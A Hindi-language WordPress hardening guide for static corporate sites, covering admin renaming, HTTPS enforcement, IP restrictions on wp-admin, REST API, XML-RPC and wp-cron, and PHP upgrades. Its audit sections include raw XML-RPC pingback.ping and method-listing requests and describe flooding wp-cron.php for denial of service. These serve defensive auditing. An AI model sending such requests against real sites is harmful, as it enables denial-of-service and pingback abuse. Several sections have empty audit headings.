
WordPress इंस्टॉलेशन को सुरक्षित करने के लिए व्यापक मार्गदर्शिका: इसमें व्यवस्थापक उपयोगकर्ता परिवर्तन, HTTPS अनिवार्यता, प्लगइन सुरक्षा, फ़ाइल अनुमतियाँ, और स्थिर कॉर्पोरेट साइटों के लिए सर्वर कॉन्फ़िगरेशन शामिल हैं।
यह दस्तावेज़ वर्डप्रेस का उपयोग करके विकसित वेब अनुप्रयोगों के लिए उपयुक्त होने के उद्देश्य से लिखा गया है, जो उपयोगकर्ताओं के साथ इंटरैक्ट नहीं करते हैं। यह मुख्य रूप से कॉर्पोरेट ब्रांड पेजों, विभिन्न स्थिर दृश्यों, भर्ती पेजों और समान साइटों के लिए है।
ऐसी वेबसाइटों के लिए जहाँ उपयोगकर्ता पंजीकरण करते हैं और स्वतंत्र रूप से साइट का उपयोग करते हैं, जैसे कि खुले समुदाय, इस दस्तावेज़ के कुछ आइटम लागू नहीं हो सकते हैं। कृपया पढ़ते समय इसे ध्यान में रखें।
इस दस्तावेज़ में वर्डप्रेस को सुरक्षित करने के लिए आवश्यक सभी सामग्री शामिल नहीं है।
हालाँकि, इसमें सामान्य और विस्तृत जानकारी उस स्तर तक शामिल है जो मार्गदर्शन के आधार पर सुरक्षा जोखिम मूल्यांकन और भेद्यता प्रतिक्रिया की अनुमति देता है।
यदि आपको यह सहायक लगता है, तो कृपया आगे के सुधारों का समर्थन करने के लिए "स्टार"🌟 दें।
जब आप वर्डप्रेस स्थापित करते हैं, तो डिफ़ॉल्ट एडमिन उपयोगकर्ता नाम "admin" होता है, जब तक कि आप सेटअप प्रक्रिया के दौरान इसे नहीं बदलते। "admin" खाता नाम व्यापक रूप से जाना जाता है, इसलिए इसे एक अलग नाम में बदला जाना चाहिए। यदि आप अपने एडमिन उपयोगकर्ता नाम के रूप में "admin" का उपयोग जारी रखते हैं, तो कोई हमलावर आपकी वर्डप्रेस साइट तक पहुँच प्राप्त करने के लिए "admin" का उपयोग करके ब्रूट-फोर्स हमला कर सकता है।
यदि कोई हमलावर वर्डप्रेस एडमिन खाते तक पहुँच प्राप्त करता है, तो उनके पास वेबसाइट पर पूर्ण नियंत्रण होगा। डिफ़ॉल्ट वर्डप्रेस एडमिन उपयोगकर्ता नाम को एक अलग नाम में बदला जाना चाहिए।
ऑडिट:
उपचार:
नोट:
डिफ़ॉल्ट रूप से, वर्डप्रेस में पाँच उपयोगकर्ता भूमिकाएँ हैं - "व्यवस्थापक", "संपादक", "लेखक", "योगदानकर्ता", "सदस्य"
ये भूमिकाएँ आपको उपयुक्त अनुमतियाँ निर्दिष्ट करके नियंत्रित करने की अनुमति देती हैं कि उपयोगकर्ता आपकी वेबसाइट पर कौन से कार्य कर सकते हैं। यदि उपयोगकर्ता भूमिकाओं और अनुमतियों को ठीक से प्रबंधित नहीं किया जाता है, तो उपयोगकर्ताओं को महत्वपूर्ण कार्यक्षमताओं तक अनावश्यक पहुँच मिल सकती है, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।
ऑडिट:
उपचार:
नोट:
वर्डप्रेस में एक अंतर्निहित उपयोगकर्ता पंजीकरण सुविधा शामिल है। यह सुविधा डिफ़ॉल्ट रूप से अक्षम है, लेकिन इसे एक व्यवस्थापक द्वारा सक्रिय किया जा सकता है।
यदि यह सुविधा सक्षम है, तो कोई भी पंजीकरण कर सकता है और संभावित रूप से वर्डप्रेस एडमिन डैशबोर्ड तक पहुँच प्राप्त कर सकता है, जो सुरक्षा समस्याओं का कारण बन सकता है। अधिकांश वेबसाइटों के लिए जो खुले समुदायों के रूप में संचालित होने का इरादा नहीं रखती हैं, उपयोगकर्ता पंजीकरण सुविधा अनावश्यक है और इसे अक्षम रहना चाहिए।
ऑडिट:
वेब ब्राउज़र का उपयोग करना

curl का उपयोग करना
(response) HTTP/1.1 302 Moved Temporarily cache-control: no-cache, no-store, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 server: Apache content-length: 0 ... location: https://yourwordpress.com/wp-login.php?registration=disabled
**उपचार:**
- यदि उपयोगकर्ता पंजीकरण सक्षम है, तो इसे अक्षम करें।
- "कोई भी पंजीकरण कर सकता है" को अनचेक करें

## 4. सुनिश्चित करें कि प्लगइन फ़ाइल संपादक अक्षम है
यदि कोई हमलावर WordPress व्यवस्थापक खाते में सेंध लगाता है, तो वे आपकी वेबसाइट का पूर्ण नियंत्रण ले सकते हैं।
वे अंतर्निहित "संपादक" सुविधा के माध्यम से आपकी थीम और प्लगइन्स के कोडिंग को संपादित कर सकते हैं, दुर्भावनापूर्ण स्क्रिप्ट अपलोड कर सकते हैं, आपकी साइट को ख़राब कर सकते हैं, आपके उपयोगकर्ताओं को स्पैम कर सकते हैं, और भी बहुत कुछ।
इन संपादकों के माध्यम से सामान्य हैक में SQL इंजेक्शन, SEO स्पैम हैक, और जापानी SEO स्पैम शामिल हैं।
**ऑडिट:**
- सत्यापित करें कि फ़ाइल संपादक अक्षम है।
- जांचें कि क्या आप स्वरूप > संपादक या प्लगइन्स > प्लगइन संपादक के माध्यम से संपादक तक पहुंच सकते हैं।
**उपचार:**
- यदि फ़ाइल संपादक सक्षम है, तो इन चरणों का पालन करके इसे अक्षम करें:
1. फ़ाइल प्रबंधक या FTP का उपयोग करके अपनी wp-config.php फ़ाइल तक पहुंचें।
2. संपादन के लिए wp-config.php फ़ाइल खोलें।
3. फ़ाइल के नीचे स्क्रॉल करें (यदि डिफ़ॉल्ट wp-config.php का उपयोग कर रहे हैं)।
4. निम्नलिखित पंक्ति ढूंढें:
`
/* बस इतना ही, संपादन बंद करें! प्रकाशन की शुभकामनाएँ। */
`
5. इस पंक्ति के ऊपर, निम्नलिखित कोड जोड़ें:
`
define('DISALLOW_FILE_EDIT', true);
`
6. परिवर्तन सहेजें और संपादक बंद करें।
7. अपने WordPress डैशबोर्ड पर वापस जाएं और पुष्टि करें कि संपादक विकल्प अब उपलब्ध नहीं हैं।
## 5. सुनिश्चित करें कि अप्रयुक्त, अनावश्यक प्लगइन्स निष्क्रिय हैं
WordPress में कई कमजोरियाँ प्लगइन सुरक्षा मुद्दों से उत्पन्न होती हैं।
प्लगइन्स ओपन-सोर्स होते हैं, जिससे हमलावरों के लिए कमजोरियाँ ढूंढना और उनका शोषण करना आसान हो जाता है।
उपयोग किए जाने वाले प्लगइन्स को अद्यतित रखना और किसी भी अप्रयुक्त प्लगइन को संभावित शोषण को रोकने के लिए निष्क्रिय करना महत्वपूर्ण है।
**ऑडिट:**
- जांचें कि अप्रयुक्त, अनावश्यक प्लगइन्स निष्क्रिय हैं।
- सत्यापित करें कि अप्रयुक्त और अनावश्यक प्लगइन्स निष्क्रिय हैं।
**उपचार:**
- इन चरणों का पालन करके किसी भी अप्रयुक्त, अनावश्यक प्लगइन को निष्क्रिय करें:
**प्लगइन जाँच - PCP का उपयोग करें:**
- PCP: https://wordpress.org/plugins/plugin-check
1. प्लगइन जाँच (PCP) स्थापित और सक्रिय करें:
- अपने WordPress व्यवस्थापक डैशबोर्ड पर जाएँ
- प्लगइन्स > नया जोड़ें पर जाएँ।
- "Plugin Check" खोजें और इसे स्थापित, सक्रिय करें।
2. प्लगइन जाँच चलाएँ:
- WordPress डैशबोर्ड में, प्लगइन जाँच मेनू पर जाएँ।
- उन प्लगइन्स का चयन करें जिन्हें आप जाँचना चाहते हैं और स्कैन चलाएँ।
3. स्कैन परिणामों का विश्लेषण करें:
- PCP प्लगइन के कोड का विश्लेषण करेगा और एक रिपोर्ट प्रदान करेगा, जिसमें शामिल हैं:
- कोड मानक अनुपालन: प्लगइन WordPress कोडिंग मानकों का कितनी अच्छी तरह पालन करता है।
- सुरक्षा मुद्दे: संभावित कमज़ोरियाँ या दुर्भावनापूर्ण कोड।
- प्रदर्शन मुद्दे: वेबसाइट प्रदर्शन पर प्रभाव।
- संगतता मुद्दे: क्या प्लगइन अन्य प्लगइन्स और थीम के साथ संगत है।
4. समस्याग्रस्त प्लगइन्स की पहचान करें:
- यदि रिपोर्ट महत्वपूर्ण सुरक्षा कमज़ोरियाँ, दुर्भावनापूर्ण कोड, या अनेक कोडिंग मानक उल्लंघनों को उजागर करती है, तो प्लगइन संभवतः "संदिग्ध" है।
- उन प्लगइन्स से सावधान रहें जो अनावश्यक बाहरी अनुरोध करते हैं या अत्यधिक डेटाबेस क्वेरी चलाते हैं।
5. मुद्दों का समाधान करें:
- अद्यतन करके या प्लगइन पृष्ठों पर मुद्दों को ढूँढ़कर पहचानी गई समस्याओं को ठीक करें।
- गंभीर सुरक्षा मुद्दों वाले प्लगइन्स का उपयोग करने से बचें। आवश्यकता पड़ने पर वैकल्पिक प्लगइन्स खोजें।
**प्लगइन प्रबंधन:**
1. प्लगइन चयन:
- आधिकारिक रिपॉजिटरी का उपयोग करें, समीक्षाएँ और रेटिंग जाँचें, डेवलपर की विश्वसनीयता सत्यापित करें
- अज्ञात, सत्यापित नहीं किए गए प्लगइन्स का उपयोग न करें
2. नियमित अद्यतन
- नवीनतम सुरक्षा पैच सुनिश्चित करने के लिए प्लगइन्स को अद्यतित रखें।
3. अप्रयुक्त प्लगइन्स को निष्क्रिय करें और हटाएँ
- निष्क्रिय प्लगइन भी सुरक्षा जोखिम पैदा कर सकते हैं, इसलिए यदि उपयोग नहीं किए जाते हैं तो उन्हें हटा दें।
- प्लगइन्स को कम करें: केवल आवश्यक प्लगइन्स का उपयोग करें
## 6. सुनिश्चित करें कि WordPress केवल HTTPS का उपयोग करने के लिए कॉन्फ़िगर किया गया है, जिसमें WordPress व्यवस्थापक भी शामिल है
आज, अधिकांश वेबसाइटें SSL (HTTPS) पर संचालित करने के लिए कॉन्फ़िगर की गई हैं।
हालाँकि, कुछ वेब सर्वर अभी भी गलती से HTTP और HTTPS दोनों कनेक्शनों को संभालने के लिए सेट हो सकते हैं।
यह WordPress तक दोनों प्रोटोकॉल के माध्यम से पहुंच की अनुमति दे सकता है, जो एक सुरक्षा जोखिम है। WordPress, जिसमें WordPress व्यवस्थापक भी शामिल है, को विशेष रूप से HTTPS का उपयोग करने के लिए बाध्य किया जाना चाहिए।
**ऑडिट:**
- सत्यापित करें कि WordPress, जिसमें WordPress व्यवस्थापक भी शामिल है, केवल HTTPS के माध्यम से सुलभ होने के लिए कॉन्फ़िगर किया गया है।
- यह सुनिश्चित करने के लिए वेब सर्वर के VirtualHost कॉन्फ़िगरेशन की जाँच करें कि कोई HTTP VirtualHosts सेट नहीं हैं।
**उपचार:**
- यदि HTTP पहुंच संभव है, तो पहले वेब सर्वर सेटिंग्स की समीक्षा करें और संशोधित करें।
- यदि सर्वर में HTTP VirtualHosts हैं, तो या तो उन्हें HTTPS पर रीडायरेक्ट करें या HTTP VirtualHosts को हटा दें।
- यदि आवश्यक हो, तो WordPress व्यवस्थापक के लिए HTTPS पहुंच लागू करने के लिए "FORCE_SSL_ADMIN" सुविधा सक्षम करें।
**FORCE_SSL_ADMIN सक्षम करने के चरण:**
1. फ़ाइल प्रबंधक या FTP का उपयोग करके अपनी wp-config.php फ़ाइल तक पहुंचें।
2. संपादन के लिए wp-config.php फ़ाइल खोलें।
3. फ़ाइल के नीचे स्क्रॉल करें (यदि डिफ़ॉल्ट wp-config.php का उपयोग कर रहे हैं)।
4. निम्नलिखित पंक्ति ढूंढें:
`
/* बस इतना ही, संपादन बंद करें! प्रकाशन की शुभकामनाएँ। */
`
5. इस पंक्ति के ऊपर, निम्नलिखित कोड जोड़ें:
`
define('FORCE_SSL_ADMIN', true);`
`
6. परिवर्तन सहेजें और संपादक बंद करें।
अपने WordPress डैशबोर्ड पर वापस जाएं और यह सुनिश्चित करने के लिए फिर से लॉग इन करें कि WordPress व्यवस्थापक केवल HTTPS के माध्यम से सुलभ है।
**वेब सर्वर पर HTTP को HTTPS पर रीडायरेक्ट करें:**
1. Apache के लिए:
```
<VirtualHost *:80>
ServerName yourwordpress.com
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>
```
2. Nginx के लिए:
```
server {
listen 80;
server_name yourwordpress.com;
location / {
return 301 https://$host$request_uri;
}
}
```
यह सुनिश्चित करके कि WordPress और WordPress व्यवस्थापक केवल HTTPS के माध्यम से सुलभ हैं, आप अपनी वेबसाइट की सुरक्षा में काफी सुधार कर सकते हैं, डेटा की रक्षा कर सकते हैं और अनधिकृत पहुंच को रोक सकते हैं।
## 7. सुनिश्चित करें कि IP पहुंच प्रतिबंध (ACL) लागू हैं
सत्यापित करें कि IP पहुंच प्रतिबंध लागू हैं
WordPress को सुरक्षित रूप से संचालित करने के लिए, WordPress व्यवस्थापक सहित कुछ URL पर IP पहुंच प्रतिबंध लागू करना आवश्यक है, ताकि अवांछित उपयोगकर्ताओं, कंप्यूटरों और बॉट्स को उन तक पहुंचने से रोका जा सके। इसमें केवल अनुमत IP पतों से पहुंच की अनुमति देना शामिल है, जैसे कि व्यवस्थापक IP। इसके अतिरिक्त, आक्रमण की सतहों को कम करने के लिए अप्रयुक्त सुविधाओं को अक्षम करना आवश्यक है।
सुरक्षित किए जाने वाले URL में WordPress व्यवस्थापक, उपयोगकर्ता पंजीकरण (wp-signup.php), JSON REST API, और XML-RPC सुविधा शामिल हैं।
यह सुरक्षा मार्गदर्शिका सेवा-उन्मुख वेबसाइटों जैसे कंपनी ब्लॉग, भर्ती पृष्ठ, ब्रांड साइटें और प्रचार साइटों को लक्षित करती है जहाँ उपयोगकर्ता सहभागिता न्यूनतम है और सामग्री मुख्य रूप से प्रदर्शित की जाती है।
IP पहुंच प्रतिबंध लागू करके, आप अनधिकृत पहुंच के जोखिम को काफी कम कर सकते हैं और अपनी वेबसाइट की समग्र सुरक्षा बढ़ा सकते हैं।
### 7.1. सुनिश्चित करें कि WordPress व्यवस्थापक पर IP पहुंच प्रतिबंध लागू हैं।
WordPress व्यवस्थापक पहुंच पथ wp-login.php या /wp-admin के रूप में निश्चित है, जिससे यह अनधिकृत उपयोगकर्ताओं के लिए आसानी से सुलभ हो जाता है।
सुनिश्चित करें कि व्यवस्थापक पृष्ठ तक अनधिकृत पहुंच को रोकने के लिए IP पहुंच प्रतिबंध लागू किया गया है।
**ऑडिट:**
- सत्यापित करें कि WordPress व्यवस्थापक के लिए IP पहुंच प्रतिबंध लागू हैं।
- अधिकांश मामलों में, यह वेब सर्वर (Apache, Nginx) पर कॉन्फ़िगर किया जाता है।
**उपचार:**
- यदि IP पहुंच प्रतिबंध लागू नहीं हैं, तो उन्हें लागू करें।
- निम्नलिखित Apache और Nginx वेब सर्वर का उपयोग करके IP पहुंच प्रतिबंध लागू करने की विधियाँ हैं।
**WordPress व्यवस्थापक पर IP पहुंच प्रतिबंध लागू करना:**
- /wp-admin, wp-login.php
1. Apache के लिए:
```
# फ़ाइल निर्देश
<Files "wp-login.php">
Require ip 10.10.77.49 # अपने IP पते से बदलें
</Files>
# FilesMatch निर्देश
<FilesMatch "^wp-login\.php$">
Require all granted
</FilesMatch>
# निर्देशिका, फ़ाइल मिश्रण निर्देश
<Directory /www/vhosts/yourwordpress>
Require all granted
AllowOverride None
<Files "wp-login.php">
Require ip 10.10.77.49 # अपने IP पते से बदलें
</Files>
</Directory>
# स्थान निर्देश
<Location "/wp-admin">
Require ip 10.10.77.49 # अपने IP पते से बदलें
</Location>
<Location "/wp-login.php">
Require ip 10.10.77.49 # अपने IP पते से बदलें
</Location>
```
2. Nginx के लिए:
```
location /wp-admin {
allow 10.10.77.49; # अपने IP पते से बदलें
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # अपने IP पते से बदलें
deny all;
}
```
### 7.2. JSON REST API सुविधा के लिए IP पहुंच प्रतिबंधित करें या अक्षम करें
WordPress दो REST कार्यक्षमताएँ (xmlrpc, json rest api) प्रदान करता है और WordPress स्थापना पर डिफ़ॉल्ट रूप से सक्षम होती है।
REST API WordPress डेटा प्रकारों के लिए एंडपॉइंट प्रदान करता है, जो पोस्ट या डेटा को क्वेरी करने, संसाधनों को संशोधित करने, संपादित करने और हटाने जैसे कार्यों के लिए साइट के साथ दूरस्थ इंटरैक्शन की अनुमति देता है।
अधिकांश WordPress के लिए, REST API सुविधा आवश्यक नहीं है।
इसे सक्षम करने से WordPress DDoS हमलों के संपर्क में आ सकता है और इसके परिणामस्वरूप संसाधन खपत और साइट धीमी हो सकती है।
**ऑडिट:**
- सत्यापित करें कि JSON REST API सुविधा सक्षम है। (डिफ़ॉल्ट: सक्षम)```
# curl -i -k https://yourwordpress.com/wp-json
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache
{"name":"mywordress","description":"".......................
उपचार:
"Disable REST API" प्लगइन इंस्टॉल करें, सक्रिय करें:
JSON REST API के लिए IP पहुंच प्रतिबंध:
<Location "/wp-json">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
location ~ ^/wp-json/ {
allow 10.10.77.49; # Replace with your allowed IP address
deny all;
}
JSON REST API के समान, XML-RPC API को निष्क्रिय करना उचित है क्योंकि अधिकांश WordPress इंस्टॉलेशन के लिए इसकी आवश्यकता नहीं होती है।
यदि REST API की आवश्यकता है, तो इसके बजाय JSON REST API का उपयोग करने की सिफारिश की जाती है।
XML-RPC के दो मुख्य कमजोरियाँ हैं:
ब्रूट फोर्स हमले:
पिंगबैक के माध्यम से सेवा अस्वीकार (DoS) हमले:
यदि XML-RPC सक्षम है, तो इसका अभी भी ऐसे हमलों के लिए शोषण किया जा सकता है।
ऑडिट:
(response) HTTP/1.1 405 Method Not Allowed Date: Mon, 25 Jun 2018 08:30:24 GMT Server: Apache Allow: POST Content-Length: 42 Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
**उपचार:**
- प्लगइन का उपयोग करके XML-RPC सुविधा अक्षम करें
**प्लगइन "Disable XML-RPC-API" स्थापित करें, सक्रिय करें:**
1. अपने WordPress व्यवस्थापक डैशबोर्ड पर जाएं
2. प्लगइन्स > नया जोड़ें पर जाएं।
3. "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)" खोजें और इसे स्थापित करें, सक्रिय करें।
4. XML-RPC-API अब अक्षम हो गया है।
**XML-RPC pingbacks हमलों के बारे में:**
1. जांचें कि XML-RPC सक्षम है
```
# curl -i -k https://yourwordpress.com/xmlrpc.php
(response)
HTTP/1.1 405 Method Not Allowed
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
```
2. उपलब्ध XML-RPC विधियों की खोज करना
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 135
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
...
Server: Apache
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
```
3. pingbacks करें
- pingback हमले की सफलता और विशिष्ट सत्यापन विधियों का वर्णन नहीं किया गया है।
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 303
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>call-back url for pingback result</string></value>
</param>
<param>
<value><string>https://yourwordpress.com/</string></value>
</param>
</params>
</methodCall>
(response)
HTTP/1.1 200 OK
...
Server: Apache
Content-Length: 370
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
```
### 7.4. WP-Cron अक्षम करें या सुविधा प्रतिबंधित करें
WordPress में, WP-Cron (wp-cron.php) का उपयोग कार्यों को स्वचालित करने के लिए किया जाता है, जैसे निर्धारित पोस्ट प्रकाशन, प्लगइन/थीम अपडेट जाँच, और सूचना ईमेल भेजना।
WP-Cron मूल रूप से हर बार पेज लोड होने पर निर्धारित कार्यों की सूची की जाँच करके काम करता है।
समस्या तब उत्पन्न होती है जब भारी पेज लोडिंग होती है।
चूंकि WP-Cron कार्य प्रत्येक पेज लोड के साथ निष्पादित होते हैं, बार-बार की जाने वाली एक्सेस के परिणामस्वरूप संबंधित WP-Cron आह्वान होते हैं। परिणामस्वरूप, सिस्टम संसाधन दुर्लभ हो सकते हैं, जिससे साइट धीमी हो जाती है या रुक भी सकती है।
यह एक वास्तविक घटना है और अक्सर WordPress को लक्षित करने वाले भेद्यता हमलों में इसका शोषण किया जाता है।
यदि WP-Cron आवश्यक नहीं है, तो इसे निष्क्रिय करने की सलाह दी जाती है।
यदि आवश्यक हो, तो केवल स्थानीय होस्ट तक पहुंच को प्रतिबंधित करें।
**ऑडिट:**
- सत्यापित करें कि WP-Cron सक्षम है। (डिफ़ॉल्ट: सक्षम)```
# curl -i -k https://yourwordpress.com/wp-cron.php
(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
समाधान:
WP-Cron अक्षम करने के चरण:
/* That’s all, stop editing! Happy publishing. */define('DISABLE_WP_CRON', true);# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
"ALTERNATE_WP_CRON" सक्रिय करने के चरण:
/* That’s all, stop editing! Happy publishing. */define( 'ALTERNATE_WP_CRON', true );# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
उदाहरण: सिस्टम क्रॉन (crontab) का उपयोग करना:
.. ... */10 * * * * curl http://yourwordpress.com/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/yourwordpress.com/htdocs; php /var/www/yourwordpress.com/htdocs/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/example.com/htdocs; wp cron event run --due-now > /dev/null 2>&1
**wp-cron.php का उपयोग करके DoS हमला करने के बारे में:**
- wp-cron.php पर अनुरोधों की एक विस्तृत मात्रा भेजें
- इसके परिणामस्वरूप स्क्रिप्ट अत्यधिक संसाधनों का उपभोग करती है, अंततः सर्वर को ओवरलोड कर देती है


## 8. सुरक्षित WordPress के लिए सिस्टम कॉन्फ़िगरेशन।
WordPress के सुरक्षित संचालन को सुनिश्चित करने के लिए वेब सर्वर का उचित कॉन्फ़िगरेशन और बैकएंड घटकों को सख्त करना आवश्यक है।
यहाँ कई आवश्यक वस्तुएँ हैं जिन्हें जाँचा और लागू किया जाना चाहिए।
### 8.1. गैर-जीवन-अंत (EOL) WordPress और PHP संस्करणों का उपयोग सुनिश्चित करें
एक सुरक्षित WordPress स्थापना बनाए रखने के लिए, WordPress और PHP के उन संस्करणों का उपयोग करना आवश्यक है जो अपने जीवन-अंत (EOL) पर नहीं हैं।
EOL संस्करण अब समर्थित नहीं हैं और सुरक्षा अद्यतन प्राप्त नहीं करते हैं, जिससे आपकी वेबसाइट अनपैच की गई सुरक्षा समस्याओं के लिए कमजोर रहती है।
समर्थित संस्करणों का उपयोग यह सुनिश्चित करता है कि खोजी गई कोई भी कमजोरी तुरंत संबोधित की जाती है, आपकी साइट को संभावित हमलों से बचाती है।
यहाँ आपको अपने WordPress और PHP संस्करणों को सत्यापित और अद्यतन करने के लिए क्या करने की आवश्यकता है:
**ऑडिट:**
- सत्यापित करें कि आपके वर्तमान WordPress और PHP संस्करण EOL नहीं हैं।
**सुधार:**
- WordPress और PHP के गैर-EOL संस्करणों को स्थापित और चलाएं।
- मई 2024 तक, समर्थित WordPress संस्करण 6.5 और उससे ऊपर है। समर्थित PHP संस्करण 8.1, 8.2 और 8.3 हैं।
- यदि आप वेब होस्टिंग सेवा का उपयोग करते हैं, तो WordPress और PHP दोनों के समर्थित संस्करणों को चलाने के लिए उनके संस्करण-स्विचिंग सुविधाओं का लाभ उठाएं।
**मई 2024 तक EOL स्थिति**
1. PHP: [supported-versions](https://www.php.net/supported-versions.php)
- वर्तमान में समर्थित संस्करण: 8.1, 8.2, 8.3
2. WordPress: [current-releases](https://wordpress.org/download/releases/)
- वर्तमान में समर्थित संस्करण: 6.5 श्रृंखला
**उदाहरण: RockyLinux 8.5 में PHP**
- RockyLinux 8.5 में, उपलब्ध डिफ़ॉल्ट PHP संस्करण 7.2, 7.3 और 7.4 हैं।
```
# dnf module list php
Rocky Linux 8 - AppStream
Name Stream Profiles Summary
php 7.2 [d] common [d], devel, minimal PHP scripting language
php 7.3 common [d], devel, minimal PHP scripting language
php 7.4 common [d], devel, minimal PHP scripting language
Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
# dnf module enable php:7.4
==============================================================================================
Package Architecture Version Repository Size
==============================================================================================
Enabling module streams:
httpd 2.4
php 7.4
Transaction Summary
==============================================================================================
Is this ok [y/N]: y
Complete!
```
- PHP 7 पहले ही जीवन के अंत (EOL) तक पहुँच चुका है; PHP 8 में अपग्रेड करने की सिफारिश की जाती है।
- PHP 8 को REMI रिपॉजिटरी से स्थापित किया जा सकता है।
- REMI का उपयोग करके PHP 8.2 को सक्षम और स्थापित करने का एक उदाहरण यहां दिया गया है:
```
# Rocky Linux 8 में PHP 8.2 स्थापित करें
# dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
# dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
# dnf -y install yum-utils
# dnf module reset php
# dnf module install php:remi-8.2
Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing group/module packages:
php-cli x86_64 8.2.0-1.el8.remi remi-modular 5.4 M
php-common x86_64 8.2.0-1.el8.remi remi-modular 1.3 M
php-fpm x86_64 8.2.0-1.el8.remi remi-modular 1.9 M
php-mbstring x86_64 8.2.0-1.el8.remi remi-modular 574 k
php-xml x86_64 8.2.0-1.el8.remi remi-modular 254 k
Installing dependencies:
httpd-filesystem noarch 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 41 k
libxslt x86_64 1.1.32-6.el8 baseos 249 k
oniguruma5php x86_64 6.9.8-1.el8.remi remi-safe 212 k
Installing weak dependencies:
nginx-filesystem noarch 1:1.14.1-9.module+el8.4.0+542+81547229 appstream 23 k
Installing module profiles:
php/common
Enabling module streams:
httpd 2.4
nginx 1.14
php remi-8.2
Transaction Summary
=======================================================================================================================================
Install 9 Packages
# dnf update
# dnf install php
Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing:
php x86_64 8.2.0-1.el8.remi remi-modular 1.8 M
Installing dependencies:
apr x86_64 1.6.3-12.el8 appstream 128 k
apr-util x86_64 1.6.1-6.el8.1 appstream 104 k
httpd x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 1.4 M
httpd-tools x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 108 k
libsodium x86_64 1.0.18-2.el8 epel 162 k
mailcap noarch 2.1.48-3.el8 baseos 38 k
mod_http2 x86_64 1.15.7-5.module+el8.6.0+823+f143cee1 appstream 153 k
rocky-logos-httpd noarch 86.3-1.el8 baseos 24 k
Installing weak dependencies:
apr-util-bdb x86_64 1.6.1-6.el8.1 appstream 23 k
apr-util-openssl x86_64 1.6.1-6.el8.1 appstream 26 k
php-opcache x86_64 8.2.0-1.el8.remi remi-modular 633 k
php-pdo x86_64 8.2.0-1.el8.remi remi-modular 166 k
php-sodium x86_64 8.2.0-1.el8.remi remi-modular 105 k
Transaction Summary
=======================================================================================================================================
Install 14 Packages
Total download size: 4.8 M
Installed size: 14 M
Is this ok [y/N]: y
# php -v
PHP 8.2.0 (cli) (built: Dec 6 2022 14:26:47) (NTS gcc x86_64)
Copyright (c) The PHP Group
Zend Engine v4.2.0, Copyright (c) Zend Technologies
with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
```
**नोट:**
- REMI रिपॉजिटरी से PHP स्थापित करने के विस्तृत निर्देशों के लिए: [rpms.remirepo.net](https://rpms.remirepo.net/)
- WordPress और PHP संगतता पर दस्तावेज़ीकरण: [php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)
